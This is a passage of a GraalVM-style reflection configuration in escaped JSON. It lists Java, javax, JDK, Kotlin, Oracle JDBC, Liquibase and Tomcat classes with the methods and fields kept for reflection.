\"name\":\"java.lang.reflect.InvocationTargetException\"\n},\n{\n  \"name\":\"java.lang.reflect.Method\"\n},\n{\n  \"name\":\"java.lang.reflect.ParameterizedType\",\n  \"methods\":[{\"name\":\"getActualTypeArguments\",\"parameterTypes\":[] }, {\"name\":\"getRawType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.reflect.Type\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.lang.reflect.TypeVariable\",\n  \"methods\":[{\"name\":\"getBounds\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.lang.reflect.WildcardType\",\n  \"methods\":[{\"name\":\"getLowerBounds\",\"parameterTypes\":[] }, {\"name\":\"getUpperBounds\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.math.BigDecimal\"\n},\n{\n  \"name\":\"java.math.BigInteger\"\n},\n{\n  \"name\":\"java.net.DatagramPacket\"\n},\n{\n  \"name\":\"java.net.InetAddress\"\n},\n{\n  \"name\":\"java.net.InetSocketAddress\",\n  \"methods\":[{\"name\":\"getHostString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.net.NetPermission\"\n},\n{\n  \"name\":\"java.net.PortUnreachableException\"\n},\n{\n  \"name\":\"java.net.SocketPermission\"\n},\n{\n  \"name\":\"java.net.URI\"\n},\n{\n  \"name\":\"java.net.URL\"\n},\n{\n  \"name\":\"java.net.URLPermission\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.net.UnixDomainSocketAddress\",\n  \"methods\":[{\"name\":\"of\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.nio.Bits\",\n  \"fields\":[{\"name\":\"MAX_MEMORY\"}, {\"name\":\"UNALIGNED\"}]\n},\n{\n  \"name\":\"java.nio.Buffer\",\n  \"fields\":[{\"name\":\"address\"}]\n},\n{\n  \"name\":\"java.nio.ByteBuffer\",\n  \"methods\":[{\"name\":\"alignedSlice\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"java.nio.DirectByteBuffer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"long\",\"int\"] }]\n},\n{\n  \"name\":\"java.nio.channels.ClosedChannelException\"\n},\n{\n  \"name\":\"java.nio.channels.FileChannel\"\n},\n{\n  \"name\":\"java.nio.channels.ServerSocketChannel\",\n  \"methods\":[{\"name\":\"open\",\"parameterTypes\":[\"java.net.ProtocolFamily\"] }]\n},\n{\n  \"name\":\"java.nio.channels.SocketChannel\",\n  \"methods\":[{\"name\":\"open\",\"parameterTypes\":[\"java.net.ProtocolFamily\"] }]\n},\n{\n  \"name\":\"java.nio.channels.spi.SelectorProvider\",\n  \"methods\":[{\"name\":\"openServerSocketChannel\",\"parameterTypes\":[\"java.net.ProtocolFamily\"] }, {\"name\":\"openSocketChannel\",\"parameterTypes\":[\"java.net.ProtocolFamily\"] }]\n},\n{\n  \"name\":\"java.nio.charset.Charset\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.rmi.MarshalledObject\"\n},\n{\n  \"name\":\"java.rmi.dgc.Lease\"\n},\n{\n  \"name\":\"java.rmi.dgc.VMID\"\n},\n{\n  \"name\":\"java.rmi.server.ObjID\"\n},\n{\n  \"name\":\"java.rmi.server.UID\"\n},\n{\n  \"name\":\"java.security.AlgorithmParametersSpi\"\n},\n{\n  \"name\":\"java.security.AllPermission\"\n},\n{\n  \"name\":\"java.security.KeyStoreSpi\"\n},\n{\n  \"name\":\"java.security.SecureRandomParameters\"\n},\n{\n  \"name\":\"java.security.SecurityPermission\"\n},\n{\n  \"name\":\"java.sql.CallableStatement\"\n},\n{\n  \"name\":\"java.sql.Connection\",\n  \"methods\":[{\"name\":\"getMetaData\",\"parameterTypes\":[] }, {\"name\":\"isValid\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"java.sql.ConnectionBuilder\"\n},\n{\n  \"name\":\"java.sql.Date\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"long\"] }]\n},\n{\n  \"name\":\"java.sql.Driver\"\n},\n{\n  \"name\":\"java.sql.DriverManager\"\n},\n{\n  \"name\":\"java.sql.PreparedStatement\"\n},\n{\n  \"name\":\"java.sql.ResultSet\"\n},\n{\n  \"name\":\"java.sql.SQLException\",\n  \"fields\":[{\"name\":\"next\"}]\n},\n{\n  \"name\":\"java.sql.SQLFeatureNotSupportedException\"\n},\n{\n  \"name\":\"java.sql.SQLWarning\"\n},\n{\n  \"name\":\"java.sql.ShardingKeyBuilder\"\n},\n{\n  \"name\":\"java.sql.Statement\"\n},\n{\n  \"name\":\"java.sql.Time\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"long\"] }]\n},\n{\n  \"name\":\"java.sql.Timestamp\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"long\"] }]\n},\n{\n  \"name\":\"java.sql.Types\",\n  \"allPublicFields\":true\n},\n{\n  \"name\":\"java.sql.Wrapper\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.text.DateFormat\"\n},\n{\n  \"name\":\"java.text.ListFormat\"\n},\n{\n  \"name\":\"java.time.Clock\"\n},\n{\n  \"name\":\"java.time.Duration\"\n},\n{\n  \"name\":\"java.time.Instant\"\n},\n{\n  \"name\":\"java.util.ArrayList\",\n  \"fields\":[{\"name\":\"elementData\"}]\n},\n{\n  \"name\":\"java.util.Collection\"\n},\n{\n  \"name\":\"java.util.Comparator\"\n},\n{\n  \"name\":\"java.util.Date\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"java.util.EnumMap\"\n},\n{\n  \"name\":\"java.util.EnumSet\"\n},\n{\n  \"name\":\"java.util.Enumeration\"\n},\n{\n  \"name\":\"java.util.EventListener\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.util.HashMap\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.HashSet\"\n},\n{\n  \"name\":\"java.util.Hashtable\"\n},\n{\n  \"name\":\"java.util.Iterator\"\n},\n{\n  \"name\":\"java.util.LinkedHashMap\",\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.LinkedHashMapHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.LinkedList\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.LinkedListHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.List\"\n},\n{\n  \"name\":\"java.util.Locale\"\n},\n{\n  \"name\":\"java.util.Map\",\n  \"queryAllPublicMethods\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"putIfAbsent\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"java.util.Map$Entry\"\n},\n{\n  \"name\":\"java.util.MapHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.NavigableSet\"\n},\n{\n  \"name\":\"java.util.Optional\"\n},\n{\n  \"name\":\"java.util.Properties\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.PropertyPermission\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.util.Queue\"\n},\n{\n  \"name\":\"java.util.ServiceLoader\"\n},\n{\n  \"name\":\"java.util.Set\"\n},\n{\n  \"name\":\"java.util.Spliterator\"\n},\n{\n  \"name\":\"java.util.TimeZone\"\n},\n{\n  \"name\":\"java.util.concurrent.BlockingQueue\"\n},\n{\n  \"name\":\"java.util.concurrent.Callable\",\n  \"methods\":[{\"name\":\"call\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.concurrent.CompletableFuture\"\n},\n{\n  \"name\":\"java.util.concurrent.CompletionService\"\n},\n{\n  \"name\":\"java.util.concurrent.ConcurrentHashMap\",\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.concurrent.ConcurrentHashMapHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.concurrent.ConcurrentMap\"\n},\n{\n  \"name\":\"java.util.concurrent.CountDownLatch\"\n},\n{\n  \"name\":\"java.util.concurrent.Executor\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.util.concurrent.ExecutorService\"\n},\n{\n  \"name\":\"java.util.concurrent.ForkJoinTask\",\n  \"fields\":[{\"name\":\"aux\"}, {\"name\":\"status\"}]\n},\n{\n  \"name\":\"java.util.concurrent.Future\"\n},\n{\n  \"name\":\"java.util.concurrent.RejectedExecutionHandler\"\n},\n{\n  \"name\":\"java.util.concurrent.ScheduledExecutorService\"\n},\n{\n  \"name\":\"java.util.concurrent.ScheduledFuture\"\n},\n{\n  \"name\":\"java.util.concurrent.ScheduledThreadPoolExecutor\"\n},\n{\n  \"name\":\"java.util.concurrent.ThreadFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"java.util.concurrent.ThreadPoolExecutor\"\n},\n{\n  \"name\":\"java.util.concurrent.TimeUnit\"\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicBoolean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true,\n  \"fields\":[{\"name\":\"value\"}]\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicBooleanHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicInteger\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicIntegerHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicLong\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicLongHessianDeserializer\"\n},\n{\n  \"name\":\"java.util.concurrent.atomic.AtomicReference\",\n  \"fields\":[{\"name\":\"value\"}]\n},\n{\n  \"name\":\"java.util.concurrent.atomic.LongAdder\",\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"add\",\"parameterTypes\":[\"long\"] }, {\"name\":\"sum\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.concurrent.atomic.Striped64\",\n  \"fields\":[{\"name\":\"base\"}, {\"name\":\"cellsBusy\"}]\n},\n{\n  \"name\":\"java.util.concurrent.atomic.Striped64$Cell\",\n  \"fields\":[{\"name\":\"value\"}]\n},\n{\n  \"name\":\"java.util.function.BiConsumer\"\n},\n{\n  \"name\":\"java.util.function.BiFunction\"\n},\n{\n  \"name\":\"java.util.function.BiPredicate\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"and\",\"parameterTypes\":[\"java.util.function.BiPredicate\"] }, {\"name\":\"negate\",\"parameterTypes\":[] }, {\"name\":\"or\",\"parameterTypes\":[\"java.util.function.BiPredicate\"] }]\n},\n{\n  \"name\":\"java.util.function.Consumer\"\n},\n{\n  \"name\":\"java.util.function.Function\"\n},\n{\n  \"name\":\"java.util.function.ObjIntConsumer\"\n},\n{\n  \"name\":\"java.util.function.Predicate\"\n},\n{\n  \"name\":\"java.util.function.Supplier\"\n},\n{\n  \"name\":\"java.util.function.ToDoubleFunction\"\n},\n{\n  \"name\":\"java.util.function.ToLongFunction\"\n},\n{\n  \"name\":\"java.util.logging.LogManager\",\n  \"methods\":[{\"name\":\"getLoggingMXBean\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.logging.Logger\"\n},\n{\n  \"name\":\"java.util.logging.LoggingMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"java.util.logging.SimpleFormatter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.stream.Stream\"\n},\n{\n  \"name\":\"javax.annotation.ManagedBean\"\n},\n{\n  \"name\":\"javax.annotation.Nonnull\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.annotation.Nullable\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.annotation.PostConstruct\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.annotation.PreDestroy\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.annotation.Resource\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.annotation.meta.TypeQualifier\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.annotation.meta.TypeQualifierDefault\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"javax.cache.CacheManager\"\n},\n{\n  \"name\":\"javax.cache.Caching\"\n},\n{\n  \"name\":\"javax.crypto.SecretKey\"\n},\n{\n  \"name\":\"javax.inject.Inject\"\n},\n{\n  \"name\":\"javax.inject.Named\"\n},\n{\n  \"name\":\"javax.management.Attribute\"\n},\n{\n  \"name\":\"javax.management.AttributeList\"\n},\n{\n  \"name\":\"javax.management.AttributeNotFoundException\"\n},\n{\n  \"name\":\"javax.management.DynamicMBean\"\n},\n{\n  \"name\":\"javax.management.InstanceAlreadyExistsException\"\n},\n{\n  \"name\":\"javax.management.InstanceNotFoundException\"\n},\n{\n  \"name\":\"javax.management.IntrospectionException\"\n},\n{\n  \"name\":\"javax.management.InvalidAttributeValueException\"\n},\n{\n  \"name\":\"javax.management.JMException\"\n},\n{\n  \"name\":\"javax.management.ListenerNotFoundException\"\n},\n{\n  \"name\":\"javax.management.MBeanException\"\n},\n{\n  \"name\":\"javax.management.MBeanInfo\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getAttributes\",\"parameterTypes\":[] }, {\"name\":\"getConstructors\",\"parameterTypes\":[] }, {\"name\":\"getNotifications\",\"parameterTypes\":[] }, {\"name\":\"getOperations\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.MBeanOperationInfo\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getSignature\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.MBeanRegistrationException\"\n},\n{\n  \"name\":\"javax.management.MBeanServer\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"javax.management.MBeanServerBuilder\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.MBeanServerConnection\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"javax.management.MBeanServerDelegate\"\n},\n{\n  \"name\":\"javax.management.MalformedObjectNameException\"\n},\n{\n  \"name\":\"javax.management.NotCompliantMBeanException\"\n},\n{\n  \"name\":\"javax.management.Notification\"\n},\n{\n  \"name\":\"javax.management.NotificationEmitter\"\n},\n{\n  \"name\":\"javax.management.NotificationFilter\"\n},\n{\n  \"name\":\"javax.management.NotificationListener\"\n},\n{\n  \"name\":\"javax.management.ObjectInstance\"\n},\n{\n  \"name\":\"javax.management.ObjectName\"\n},\n{\n  \"name\":\"javax.management.OperationsException\"\n},\n{\n  \"name\":\"javax.management.QueryExp\"\n},\n{\n  \"name\":\"javax.management.ReflectionException\"\n},\n{\n  \"name\":\"javax.management.StandardEmitterMBean\",\n  \"methods\":[{\"name\":\"cacheMBeanInfo\",\"parameterTypes\":[\"javax.management.MBeanInfo\"] }, {\"name\":\"getCachedMBeanInfo\",\"parameterTypes\":[] }, {\"name\":\"getMBeanInfo\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.management.loading.ClassLoaderRepository\"\n},\n{\n  \"name\":\"javax.management.modelmbean.ModelMBean\"\n},\n{\n  \"name\":\"javax.management.modelmbean.ModelMBeanInfo\"\n},\n{\n  \"name\":\"javax.management.modelmbean.ModelMBeanInfoSupport\"\n},\n{\n  \"name\":\"javax.management.modelmbean.ModelMBeanOperationInfo\"\n},\n{\n  \"name\":\"javax.management.openmbean.CompositeData\"\n},\n{\n  \"name\":\"javax.management.openmbean.OpenMBeanOperationInfoSupport\"\n},\n{\n  \"name\":\"javax.management.openmbean.TabularData\"\n},\n{\n  \"name\":\"javax.management.remote.rmi.RMIConnection\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"addNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"java.rmi.MarshalledObject\",\"javax.security.auth.Subject\"] }, {\"name\":\"addNotificationListeners\",\"parameterTypes\":[\"javax.management.ObjectName[]\",\"java.rmi.MarshalledObject[]\",\"javax.security.auth.Subject[]\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"java.lang.String[]\",\"javax.security.auth.Subject\"] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"java.lang.String[]\",\"javax.security.auth.Subject\"] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }, {\"name\":\"fetchNotifications\",\"parameterTypes\":[\"long\",\"int\",\"long\"] }, {\"name\":\"getAttribute\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String\",\"javax.security.auth.Subject\"] }, {\"name\":\"getAttributes\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String[]\",\"javax.security.auth.Subject\"] }, {\"name\":\"getConnectionId\",\"parameterTypes\":[] }, {\"name\":\"getDefaultDomain\",\"parameterTypes\":[\"javax.security.auth.Subject\"] }, {\"name\":\"getDomains\",\"parameterTypes\":[\"javax.security.auth.Subject\"] }, {\"name\":\"getMBeanCount\",\"parameterTypes\":[\"javax.security.auth.Subject\"] }, {\"name\":\"getMBeanInfo\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }, {\"name\":\"getObjectInstance\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }, {\"name\":\"invoke\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String\",\"java.rmi.MarshalledObject\",\"java.lang.String[]\",\"javax.security.auth.Subject\"] }, {\"name\":\"isInstanceOf\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String\",\"javax.security.auth.Subject\"] }, {\"name\":\"isRegistered\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }, {\"name\":\"queryMBeans\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"javax.security.auth.Subject\"] }, {\"name\":\"queryNames\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"javax.security.auth.Subject\"] }, {\"name\":\"removeNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"java.rmi.MarshalledObject\",\"javax.security.auth.Subject\"] }, {\"name\":\"removeNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }, {\"name\":\"removeNotificationListeners\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.Integer[]\",\"javax.security.auth.Subject\"] }, {\"name\":\"setAttribute\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"javax.security.auth.Subject\"] }, {\"name\":\"setAttributes\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.rmi.MarshalledObject\",\"javax.security.auth.Subject\"] }, {\"name\":\"unregisterMBean\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.security.auth.Subject\"] }]\n},\n{\n  \"name\":\"javax.management.remote.rmi.RMIConnectionImpl_Skel\"\n},\n{\n  \"name\":\"javax.management.remote.rmi.RMIConnectionImpl_Stub\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.rmi.server.RemoteRef\"] }]\n},\n{\n  \"name\":\"javax.management.remote.rmi.RMIServer\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getVersion\",\"parameterTypes\":[] }, {\"name\":\"newClient\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"javax.management.remote.rmi.RMIServerImpl_Skel\"\n},\n{\n  \"name\":\"javax.management.remote.rmi.RMIServerImpl_Stub\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.rmi.server.RemoteRef\"] }]\n},\n{\n  \"name\":\"javax.money.MonetaryAmount\"\n},\n{\n  \"name\":\"javax.naming.InitialContext\"\n},\n{\n  \"name\":\"javax.naming.NamingException\"\n},\n{\n  \"name\":\"javax.naming.directory.DirContext\"\n},\n{\n  \"name\":\"javax.naming.directory.InitialDirContext\"\n},\n{\n  \"name\":\"javax.naming.ldap.LdapContext\"\n},\n{\n  \"name\":\"javax.naming.ldap.LdapName\"\n},\n{\n  \"name\":\"javax.naming.ldap.PagedResultsControl\"\n},\n{\n  \"name\":\"javax.naming.ldap.PagedResultsResponseControl\"\n},\n{\n  \"name\":\"javax.naming.ldap.SortControl\"\n},\n{\n  \"name\":\"javax.naming.ldap.SortResponseControl\"\n},\n{\n  \"name\":\"javax.security.auth.x500.X500Principal\",\n  \"fields\":[{\"name\":\"thisX500Name\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"sun.security.x509.X500Name\"] }]\n},\n{\n  \"name\":\"javax.smartcardio.CardPermission\"\n},\n{\n  \"name\":\"javax.sql.CommonDataSource\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"createShardingKeyBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.sql.ConnectionPoolDataSource\"\n},\n{\n  \"name\":\"javax.sql.DataSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"createConnectionBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"javax.sql.PooledConnection\"\n},\n{\n  \"name\":\"javax.sql.XAConnection\"\n},\n{\n  \"name\":\"javax.sql.XADataSource\"\n},\n{\n  \"name\":\"javax.transaction.xa.XAException\"\n},\n{\n  \"name\":\"javax.transaction.xa.XAResource\"\n},\n{\n  \"name\":\"javax.transaction.xa.Xid\"\n},\n{\n  \"name\":\"jdk.crac.management.CRaCMXBean\"\n},\n{\n  \"name\":\"jdk.internal.loader.ClassLoaders$AppClassLoader\",\n  \"methods\":[{\"name\":\"clearCache\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"jdk.internal.loader.ClassLoaders$PlatformClassLoader\",\n  \"methods\":[{\"name\":\"clearCache\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"jdk.internal.misc.Unsafe\",\n  \"methods\":[{\"name\":\"getUnsafe\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"jdk.internal.vm.annotation.IntrinsicCandidate\"\n},\n{\n  \"name\":\"jdk.management.jfr.ConfigurationInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"jdk.management.jfr.EventTypeInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"jdk.management.jfr.FlightRecorderMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"jdk.management.jfr.FlightRecorderMXBeanImpl\",\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"cacheMBeanInfo\",\"parameterTypes\":[\"javax.management.MBeanInfo\"] }, {\"name\":\"getCachedMBeanInfo\",\"parameterTypes\":[] }, {\"name\":\"getMBeanInfo\",\"parameterTypes\":[] }, {\"name\":\"getNotificationInfo\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"jdk.management.jfr.RecordingInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"jdk.management.jfr.SettingDescriptorInfo\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"kotlin.Metadata\"\n},\n{\n  \"name\":\"kotlinx.coroutines.reactor.MonoKt\"\n},\n{\n  \"name\":\"kotlinx.serialization.cbor.Cbor\"\n},\n{\n  \"name\":\"kotlinx.serialization.json.Json\"\n},\n{\n  \"name\":\"kotlinx.serialization.protobuf.ProtoBuf\"\n},\n{\n  \"name\":\"libcore.io.Memory\"\n},\n{\n  \"name\":\"liquibase.change.DatabaseChange\"\n},\n{\n  \"name\":\"liquibase.integration.spring.SpringLiquibase\"\n},\n{\n  \"name\":\"okhttp3.OkHttpClient\"\n},\n{\n  \"name\":\"oracle.jdbc.OracleConnection\"\n},\n{\n  \"name\":\"oracle.jdbc.datasource.OracleDataSource\"\n},\n{\n  \"name\":\"oracle.ucp.jdbc.PoolDataSource\"\n},\n{\n  \"name\":\"oracle.ucp.jdbc.PoolDataSourceImpl\"\n},\n{\n  \"name\":\"org.aopalliance.aop.Advice\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.aopalliance.intercept.Interceptor\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.aopalliance.intercept.MethodInterceptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.aopalliance.intercept.MethodInvocation\"\n},\n{\n  \"name\":\"org.apache.catalina.Context\"\n},\n{\n  \"name\":\"org.apache.catalina.Engine\"\n},\n{\n  \"name\":\"org.apache.catalina.Host\"\n},\n{\n  \"name\":\"org.apache.catalina.LifecycleEvent\"\n},\n{\n  \"name\":\"org.apache.catalina.LifecycleListener\"\n},\n{\n  \"name\":\"org.apache.catalina.Manager\"\n},\n{\n  \"name\":\"org.apache.catalina.Valve\"\n},\n{\n  \"name\":\"org.apache.catalina.connector.Connector\"\n},\n{\n  \"name\":\"org.apache.catalina.core.ApplicationContextFacade\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addFilter\",\"parameterTypes\":[\"java.lang.String\",\"jakarta.servlet.Filter\"] }, {\"name\":\"addFilter\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\"] }, {\"name\":\"addFilter\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"addJspFile\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"addListener\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"addListener\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"addListener\",\"parameterTypes\":[\"java.util.EventListener\"] }, {\"name\":\"addServlet\",\"parameterTypes\":[\"java.lang.String\",\"jakarta.servlet.Servlet\"] }, {\"name\":\"addServlet\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Class\"] }, {\"name\":\"addServlet\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"createFilter\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"createListener\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"createServlet\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"declareRoles\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"getAttribute\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getAttributeNames\",\"parameterTypes\":[] }, {\"name\":\"getClassLoader\",\"parameterTypes\":[] }, {\"name\":\"getContext\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getContextPath\",\"parameterTypes\":[] }, {\"name\":\"getDefaultSessionTrackingModes\",\"parameterTypes\":[] }, {\"name\":\"getEffectiveMajorVersion\",\"parameterTypes\":[] }, {\"name\":\"getEffectiveMinorVersion\",\"parameterTypes\":[] }, 